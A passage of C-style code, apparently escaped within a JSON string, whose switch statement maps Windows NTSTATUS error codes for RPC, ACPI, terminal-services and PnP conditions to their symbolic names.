\"RPC_NT_PIPE_EMPTY\"\n        case 0xC0020062: return \"RPC_NT_INVALID_ASYNC_HANDLE\"\n        case 0xC0020063: return \"RPC_NT_INVALID_ASYNC_CALL\"\n        case 0x400200AF: return \"RPC_NT_SEND_INCOMPLETE\"\n        case 0xC0140001: return \"STATUS_ACPI_INVALID_OPCODE\"\n        case 0xC0140002: return \"STATUS_ACPI_STACK_OVERFLOW\"\n        case 0xC0140003: return \"STATUS_ACPI_ASSERT_FAILED\"\n        case 0xC0140004: return \"STATUS_ACPI_INVALID_INDEX\"\n        case 0xC0140005: return \"STATUS_ACPI_INVALID_ARGUMENT\"\n        case 0xC0140006: return \"STATUS_ACPI_FATAL\"\n        case 0xC0140007: return \"STATUS_ACPI_INVALID_SUPERNAME\"\n        case 0xC0140008: return \"STATUS_ACPI_INVALID_ARGTYPE\"\n        case 0xC0140009: return \"STATUS_ACPI_INVALID_OBJTYPE\"\n        case 0xC014000A: return \"STATUS_ACPI_INVALID_TARGETTYPE\"\n        case 0xC014000B: return \"STATUS_ACPI_INCORRECT_ARGUMENT_COUNT\"\n        case 0xC014000C: return \"STATUS_ACPI_ADDRESS_NOT_MAPPED\"\n        case 0xC014000D: return \"STATUS_ACPI_INVALID_EVENTTYPE\"\n        case 0xC014000E: return \"STATUS_ACPI_HANDLER_COLLISION\"\n        case 0xC014000F: return \"STATUS_ACPI_INVALID_DATA\"\n        case 0xC0140010: return \"STATUS_ACPI_INVALID_REGION\"\n        case 0xC0140011: return \"STATUS_ACPI_INVALID_ACCESS_SIZE\"\n        case 0xC0140012: return \"STATUS_ACPI_ACQUIRE_GLOBAL_LOCK\"\n        case 0xC0140013: return \"STATUS_ACPI_ALREADY_INITIALIZED\"\n        case 0xC0140014: return \"STATUS_ACPI_NOT_INITIALIZED\"\n        case 0xC0140015: return \"STATUS_ACPI_INVALID_MUTEX_LEVEL\"\n        case 0xC0140016: return \"STATUS_ACPI_MUTEX_NOT_OWNED\"\n        case 0xC0140017: return \"STATUS_ACPI_MUTEX_NOT_OWNER\"\n        case 0xC0140018: return \"STATUS_ACPI_RS_ACCESS\"\n        case 0xC0140019: return \"STATUS_ACPI_INVALID_TABLE\"\n        case 0xC0140020: return \"STATUS_ACPI_REG_HANDLER_FAILED\"\n        case 0xC0140021: return \"STATUS_ACPI_POWER_REQUEST_FAILED\"\n        case 0xC00A0001: return \"STATUS_CTX_WINSTATION_NAME_INVALID\"\n        case 0xC00A0002: return \"STATUS_CTX_INVALID_PD\"\n        case 0xC00A0003: return \"STATUS_CTX_PD_NOT_FOUND\"\n        case 0x400A0004: return \"STATUS_CTX_CDM_CONNECT\"\n        case 0x400A0005: return \"STATUS_CTX_CDM_DISCONNECT\"\n        case 0xC00A0006: return \"STATUS_CTX_CLOSE_PENDING\"\n        case 0xC00A0007: return \"STATUS_CTX_NO_OUTBUF\"\n        case 0xC00A0008: return \"STATUS_CTX_MODEM_INF_NOT_FOUND\"\n        case 0xC00A0009: return \"STATUS_CTX_INVALID_MODEMNAME\"\n        case 0xC00A000A: return \"STATUS_CTX_RESPONSE_ERROR\"\n        case 0xC00A000B: return \"STATUS_CTX_MODEM_RESPONSE_TIMEOUT\"\n        case 0xC00A000C: return \"STATUS_CTX_MODEM_RESPONSE_NO_CARRIER\"\n        case 0xC00A000D: return \"STATUS_CTX_MODEM_RESPONSE_NO_DIALTONE\"\n        case 0xC00A000E: return \"STATUS_CTX_MODEM_RESPONSE_BUSY\"\n        case 0xC00A000F: return \"STATUS_CTX_MODEM_RESPONSE_VOICE\"\n        case 0xC00A0010: return \"STATUS_CTX_TD_ERROR\"\n        case 0xC00A0012: return \"STATUS_CTX_LICENSE_CLIENT_INVALID\"\n        case 0xC00A0013: return \"STATUS_CTX_LICENSE_NOT_AVAILABLE\"\n        case 0xC00A0014: return \"STATUS_CTX_LICENSE_EXPIRED\"\n        case 0xC00A0015: return \"STATUS_CTX_WINSTATION_NOT_FOUND\"\n        case 0xC00A0016: return \"STATUS_CTX_WINSTATION_NAME_COLLISION\"\n        case 0xC00A0017: return \"STATUS_CTX_WINSTATION_BUSY\"\n        case 0xC00A0018: return \"STATUS_CTX_BAD_VIDEO_MODE\"\n        case 0xC00A0022: return \"STATUS_CTX_GRAPHICS_INVALID\"\n        case 0xC00A0024: return \"STATUS_CTX_NOT_CONSOLE\"\n        case 0xC00A0026: return \"STATUS_CTX_CLIENT_QUERY_TIMEOUT\"\n        case 0xC00A0027: return \"STATUS_CTX_CONSOLE_DISCONNECT\"\n        case 0xC00A0028: return \"STATUS_CTX_CONSOLE_CONNECT\"\n        case 0xC00A002A: return \"STATUS_CTX_SHADOW_DENIED\"\n        case 0xC00A002B: return \"STATUS_CTX_WINSTATION_ACCESS_DENIED\"\n        case 0xC00A002E: return \"STATUS_CTX_INVALID_WD\"\n        case 0xC00A002F: return \"STATUS_CTX_WD_NOT_FOUND\"\n        case 0xC00A0030: return \"STATUS_CTX_SHADOW_INVALID\"\n        case 0xC00A0031: return \"STATUS_CTX_SHADOW_DISABLED\"\n        case 0xC00A0032: return \"STATUS_RDP_PROTOCOL_ERROR\"\n        case 0xC00A0033: return \"STATUS_CTX_CLIENT_LICENSE_NOT_SET\"\n        case 0xC00A0034: return \"STATUS_CTX_CLIENT_LICENSE_IN_USE\"\n        case 0xC0040035: return \"STATUS_PNP_BAD_MPS_TABLE\"\n        case 0xC0040036: return \"STATUS_PNP_TRANSLATION_FAILED\"\n        case 0xC0040037: return \"STATUS_PNP_IRQ_TRANSLATION_FAILED\"\n        default:         return \"STATUS_UNKNOWN\"\n    }\n}"
  }
]